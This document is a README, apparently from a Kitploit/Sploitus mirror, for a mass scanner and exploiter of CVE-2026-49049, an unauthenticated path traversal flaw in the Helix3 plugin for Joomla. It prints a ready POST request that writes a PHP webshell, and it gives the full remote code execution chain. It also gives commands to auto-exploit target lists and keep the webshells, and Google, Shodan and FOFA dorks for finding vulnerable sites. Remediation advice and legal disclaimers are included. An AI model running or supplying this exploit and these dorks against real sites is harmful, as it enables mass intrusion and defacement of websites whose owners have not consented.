## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EXDEV994-CVE-2026-49049
# CVE-2026-49049 — Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner
    
Mass scanner / verifier for **CVE-2026-49049** : unauthenticated AJAX handler in the **Helix3 Framework** plugin for Joomla (**v1.0 – 3.1.0** , patched in **3.1.1+**).
> **Authorized testing only.** Use only on systems you own or have written permission to test.
* * *
## Table of Contents
* Vulnerability Overview
* RCE Chain
* Installation
* Cara Penggunaan (Usage)
* Example Output
* Reconnaissance Dorks
* Cara Fix (Remediation)
* Project Structure
* Contributing
* References
* Disclaimer
* * *
## Vulnerability Overview
Handler `onAjaxHelix3()` in `plugins/ajax/helix3/helix3.php` is reachable via Joomla `com_ajax` **without authentication / CSRF token** :
root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
* * *
## RCE Chain
Active mass-exploitation in the wild often drops a double-extension webshell:
1. Detect Helix3 + version `< 3.1.1`
2. `save` with `layoutName=../../up.php` \+ PHP webshell content
3. Save appends `.json` → `up.php.json` lands in web root
4. Apache `AddHandler` multi-extension executes the `.php` token
5. `GET /up.php.json?cmd=id` → `uid=33(www-data)` = **SHELL OK**
root@kitploit:~
Detect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
* * *
## Installation
root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Requirements: `requests>=2.31.0`, `colorama>=0.4.6`, Python 3.9+.
* * *
## Cara Penggunaan (Usage)
### 1\. Siapkan target
Edit `targets.txt` — satu URL / host per baris (`#` = komentar). Path Joomla di-retain:
root@kitploit:~
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
### 2\. Scan read-only (deteksi saja)
Tidak men-drop webshell. Cek version + probe `save` / `remove` / `import`:
root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt
### 3\. Auto: detect + drop webshell + verify RCE
root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
### 4\. Single target
root@kitploit:~
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
### 5\. Opsi lanjutan
root@kitploit:~
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
### Flags penting
> **Warning:** Mode `--auto` mencoba menulis webshell via path traversal. Default: webshell dihapus setelah verify. Gunakan `--keep` hanya untuk demo authorized.
* * *
## Example Output
**Terminal** menampilkan semua status (progress). **`results.txt` hanya berisi yang vuln:**
root@kitploit:~
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
Label lain (`PATCHED`, `NOT_HELIX3`, `TIMEOUT`, `UNKNOWN`) hanya di terminal, tidak masuk `results.txt`.
* * *
## Reconnaissance Dorks
Gunakan dork di bawah untuk menemukan aset Helix3 / Joomla yang berpotensi terdampak. **Hanya scan target yang diizinkan.**
### Google
root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
### Shodan
root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
### FOFA
root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
### Manual fingerprint (setelah dapat host)
root@kitploit:~
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
* * *
## Cara Fix (Remediation)
### 1\. Patch segera (wajib)
Update **System – Helix3 Framework** dan **Helix3 – Ajax** plugin ke **3.1.1 atau lebih baru** (disarankan **3.1.2**).
* Joomla backend → System → Update / Extensions
* Atau unduh paket resmi dari JoomShaper dan install manual
### 2\. Jika sudah di-compromise / deface
Update **tidak** membersihkan payload yang sudah masuk database.
1. Backend → Site Template Styles → template Helix3 aktif
2. Buka **Custom Code** — hapus script asing di Custom JavaScript / CSS / Before Head
3. Cek tabel `#__template_styles` kolom `params` untuk `custom_js` / `custom_css` injected
4. Hapus file mencurigakan di web root / templates / `tmp` / `media`:
* `up.php.json`, `cox.json`, `*.php.json`, webshell lain
5. Rotate credentials admin, review user accounts, audit cron / scheduled tasks
Tanda compromise umum: defacement **"Hacked by AntonKill"** / **"trenggalek6etar"** , inject `custom_js`, file JSON tak dikenal.
### 3\. Hardening (defense in depth)
**Apache** — jangan pakai `AddHandler` multi-ext; gunakan:
root@kitploit:~
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
**Nginx:**
root@kitploit:~
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
**PHP`php.ini`:**
root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
**Upload / file write:** regenerate nama file, tolak multi-dot extensions, `AllowOverride None` di directory publik.
### 4\. Verifikasi setelah patch
root@kitploit:~
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (atau NOT_HELIX3 jika plugin di-uninstall)
* * *
## Project Structure
root@kitploit:~
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
* * *
## Contributing
Kontribusi dari komunitas diterima. Maintainer: **ExDev994**.
### Guidelines
* Jangan commit target live / hasil scan / webshell / credential
* Jangan kurangi warning “authorized testing only”
* Prefer PR kecil (satu concern per PR)
* Ikuti style Python yang sudah ada (`from __future__ import annotations`, type hints)
* Uji lokal: `python3 -m py_compile scan.py core/*.py utils/*.py` dan `python3 scan.py --help`
### Issues
Laporkan bug / request fitur di Issues. Sertakan:
* Versi Python & OS
* Command yang dijalankan
* Output / traceback (redact target sensitif)
### Contributors
Contributor| Role
---|---
ExDev994| Author / Maintainer
Vulnerability originally reported by **Phil Taylor** (mySites.guru). This repository is an independent scanner implementation and is **not** affiliated with JoomShaper or Open Source Matters.
* * *
## References
* NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
* Advisory (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
* JoomShaper Helix3: https://www.joomshaper.com/
* Read-only PoC reference: https://github.com/shinthink/CVE-2026-49049
* This repo: https://github.com/ExDev994/CVE-2026-49049
* * *
## Disclaimer
This tool is for **educational** and **authorized security testing** purposes only.
Unauthorized access to computer systems is illegal and may violate laws including Indonesia **UU ITE** , the US CFAA, and equivalent statutes in other jurisdictions.
The author (ExDev994) assumes **no liability** for misuse. By using this software you accept full responsibility for your actions. Mode `--auto` drops a temporary webshell — use only on authorized targets.